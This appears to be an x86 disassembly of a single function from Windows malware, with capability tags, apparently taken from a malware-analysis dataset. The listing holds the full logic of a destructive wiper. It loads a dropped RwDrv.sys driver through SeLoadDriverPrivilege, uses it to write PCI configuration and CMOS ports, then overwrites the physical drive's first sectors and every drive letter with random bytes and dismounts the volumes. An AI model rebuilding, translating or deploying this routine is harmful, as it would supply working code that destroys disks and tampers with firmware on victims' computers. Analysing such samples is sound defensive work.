Function at 0x401510
Capabilities:
Delete file
Delete service
Encode data using xor
Generate random numbers via winapi
Get common file path
Stop service
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push edi
call ebx
lea ecx, [ebp - 0x240]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [ebp - 0x234]
push edx
push str.SeLoadDriverPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0x240]
push 0
push 0
push 0
lea eax, [ebp - 0x238]
push eax
push 0
push ecx
mov dword [ebp - 0x238], 1
mov dword [ebp - 0x22c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x104
lea edx, [ebp - 0x224]
push 0
push edx
call fcn.00405390
add esp, 0xc
push 0x104
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x224]
dec eax
lea edi, [eax + 1]
mov dword [ebp - 0x24c], edi
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4015c0
mov ecx, dword [str.RwDrv.sys]
mov edx, dword [0x4088e8]
mov dword [eax], ecx
mov cx, word [0x4088ec]
push 0xf003f
mov dword [eax + 4], edx
mov dl, byte [0x4088ee]
push 0
mov word [eax + 8], cx
push 0
mov byte [eax + 0xa], dl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.RwDrv
push eax
mov dword [0x4155a8], eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0x4155ac
push 1
push eax
mov dword [0x4155a4], eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [0x4155a8]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
mov ecx, dword [0x4155a4]
push ecx
call esi
push str.IsWow64Process
push str.kernel32
mov dword [ebp - 0x240], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40166f
lea edx, [ebp - 0x240]
push edx
call ebx
push eax
call esi
xor ecx, ecx
lea esi, [ecx + 1]
cmp dword [ebp - 0x240], ecx
je 0x4016cf
sub esi, 0x40f420
mov eax, 0x6b81
lea ebx, [esi + ecx + 0x40f420]
cdq
idiv ebx
inc ecx
xor byte [ecx + 0x40f41f], dl
cmp ecx, 0x5500
jb 0x401682
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 6
push 2
push 0
push 3
push 0xc0000000
push edi
call ebx
push 0
mov esi, eax
lea eax, [ebp - 0x244]
push eax
push 0x5500
push 0x40f420
jmp 0x40172b
sub esi, 0x40ab20
jmp 0x4016e0
mov eax, 0x6b81
lea ebx, [esi + ecx + 0x40ab20]
cdq
idiv ebx
inc ecx
xor byte [ecx + 0x40ab1f], dl
cmp ecx, 0x4900
jb 0x4016e0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 6
push 2
push 0
push 3
push 0xc0000000
push edi
call ebx
push 0
lea ecx, [ebp - 0x244]
push ecx
push 0x4900
mov esi, eax
push 0x40ab20
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004010d0
add esp, 4
push 0
push 0
push 3
push 0
push 3
push 3
push str..RwDrv
call ebx
push 0x100
lea edx, [ebp - 0x120]
push 0
push edx
mov edi, eax
call fcn.00405390
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
add esp, 0xc
push 0
lea ecx, [ebp - 0x240]
push ecx
push 0x100
lea edx, [ebp - 0x120]
push edx
mov eax, 0xcf8
push 0x100
mov word [ebp - 0x120], ax
mov eax, edx
push eax
push 0x222824
push edi
mov dword [ebp - 0x11c], 0x8000fb04
mov dword [ebp - 0x240], 0
call esi
test eax, eax
je 0x4017c3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 3
push 0
push 3
push 3
push str..RwDrv
call ebx
push 0x100
lea ecx, [ebp - 0x120]
push 0
push ecx
mov edi, eax
call fcn.00405390
add esp, 0xc
push 0
lea eax, [ebp - 0x240]
push eax
push 0x100
lea ecx, [ebp - 0x120]
push ecx
mov edx, 0xcfc
push 0x100
mov word [ebp - 0x120], dx
mov edx, ecx
push edx
push 0x222814
push edi
mov dword [ebp - 0x11c], 3
mov dword [ebp - 0x240], 0
call esi
test eax, eax
je 0x40183e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 3
push 0
push 3
push 3
push str..RwDrv
call ebx
push 0x100
mov edi, eax
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00405390
add esp, 0xc
push 0
lea edx, [ebp - 0x240]
push edx
push 0x100
lea eax, [ebp - 0x120]
push eax
mov ecx, 0xcf8
push 0x100
mov word [ebp - 0x120], cx
mov ecx, eax
push ecx
push 0x222824
push edi
mov dword [ebp - 0x11c], 0x8000fb40
mov dword [ebp - 0x240], 0
call esi
test eax, eax
je 0x4018b9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 3
push 0
push 3
push 3
push str..RwDrv
call ebx
push 0x100
lea edx, [ebp - 0x120]
push 0
push edx
mov edi, eax
call fcn.00405390
add esp, 0xc
push 0
lea ecx, [ebp - 0x240]
push ecx
push 0x100
lea edx, [ebp - 0x120]
push edx
mov eax, 0xcfc
push 0x100
mov word [ebp - 0x120], ax
mov eax, edx
push eax
push 0x222814
push edi
mov dword [ebp - 0x11c], 1
mov dword [ebp - 0x240], 0
call esi
test eax, eax
je 0x401934
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 3
push 0
push 3
push 3
push str..RwDrv
call ebx
push 0x100
lea ecx, [ebp - 0x120]
push 0
push ecx
mov edi, eax
call fcn.00405390
add esp, 0xc
push 0
lea eax, [ebp - 0x240]
push eax
push 0x100
lea ecx, [ebp - 0x120]
push ecx
mov edx, 0xcf8
push 0x100
mov word [ebp - 0x120], dx
mov edx, ecx
push edx
push 0x222824
push edi
mov dword [ebp - 0x11c], 0x8000fb20
mov dword [ebp - 0x240], 0
call esi
test eax, eax
je 0x4019af
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [ebp - 0x240]
call fcn.00401170
mov eax, dword [ebp - 0x240]
and eax, 0xfff0
mov dword [ebp - 0x250], eax
mov byte [ebp - 0x240], 0xa0
xor edi, edi
jmp 0x4019e0
mov ecx, dword [ebp - 0x240]
push ecx
mov ecx, dword [ebp - 0x250]
push edi
call fcn.00401230
inc edi
add esp, 8
cmp edi, 0x100
jl 0x4019e0
mov al, byte [ebp - 0x240]
add al, 2
mov byte [ebp - 0x240], al
cmp al, 0xa6
jbe 0x4019d2
mov dword [ebp - 0x240], 0
jmp 0x401a20
push 0
push 0
push 3
push 0
push 3
push 3
push str..RwDrv
call ebx
push 0x100
lea edx, [ebp - 0x120]
push 0
push edx
mov edi, eax
call fcn.00405390
mov ecx, dword [ebp - 0x240]
add esp, 0xc
push 0
lea edx, [ebp - 0x250]
push edx
push 0x100
mov eax, 0x70
mov word [ebp - 0x120], ax
lea eax, [ebp - 0x120]
push eax
push 0x100
mov dword [ebp - 0x11c], ecx
mov ecx, eax
push ecx
push 0x222814
push edi
mov dword [ebp - 0x250], 0
call esi
test eax, eax
je 0x401a9d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 3
push 0
push 3
push 3
push str..RwDrv
call ebx
push 0x100
lea edx, [ebp - 0x120]
push 0
push edx
mov edi, eax
call fcn.00405390
add esp, 0xc
mov eax, 0x71
mov word [ebp - 0x120], ax
xor eax, eax
push eax
lea ecx, [ebp - 0x254]
push ecx
push 0x100
lea edx, [ebp - 0x120]
push edx
push 0x100
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x254], eax
mov eax, edx
push eax
push 0x222814
push edi
call esi
test eax, eax
je 0x401b11
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp eax, 0x80
jl 0x401a20
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.RwDrv
push eax
mov dword [0x4155a8], eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0x4155ac
push 1
push eax
mov dword [0x4155a4], eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ecx, dword [0x4155a4]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edx, dword [0x4155a8]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edx
call esi
mov eax, dword [0x4155a4]
push eax
call esi
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [str..PhysicalDrive]
mov eax, dword [0x4088f4]
mov ecx, dword [0x4088f8]
mov dword [ebp - 0x238], edx
mov edx, dword [0x4088fc]
mov dword [ebp - 0x234], eax
mov ax, word [0x408900]
push 0x1400
push 0x40
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x22c], edx
mov word [ebp - 0x228], ax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [str.._]
mov dl, byte [0x408908]
mov edi, eax
mov dword [ebp - 0x24c], ecx
mov byte [ebp - 0x248], dl
mov byte [ebp - 0x239], 0x41
lea esp, [esp]
mov eax, dword [ebp - 0x24c]
mov cl, byte [ebp - 0x239]
push 0xf0000000
push 1
push 0
push 0
lea edx, [ebp - 0x240]
push edx
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], cl
mov word [ebp - 7], 0x3a
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov eax, dword [ebp - 0x240]
push edi
push 0x1400
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, dword [ebp - 0x240]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0xc]
push edx
call ebx
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x244]
push eax
push 0x1400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x244]
push ecx
push 0
push 0
push 0
push 0
push 0x90020
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x239]
inc al
mov byte [ebp - 0x239], al
cmp al, 0x5a
jbe 0x401c00
mov byte [ebp - 0x239], 0x30
lea ecx, [ecx]
mov edx, dword [ebp - 0x238]
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0x230]
push 0xf0000000
push 1
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x22c]
push 0
mov dword [ebp - 0x1c], eax
movzx eax, byte [ebp - 0x228]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
mov cl, byte [ebp - 0x239]
push 0
lea edx, [ebp - 0x240]
push edx
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov eax, dword [ebp - 0x240]
push edi
push 0x1400
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, dword [ebp - 0x240]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0x20]
push edx
call ebx
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x244]
push eax
push 0x1400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x244]
push ecx
push 0
push 0
push 0
push 0
push 0x90020
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x239]
inc al
mov byte [ebp - 0x239], al
cmp al, 0x39
jbe 0x401cd0
call fcn.00401000
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401dd1
mov esp, ebp
pop ebp
ret 0x10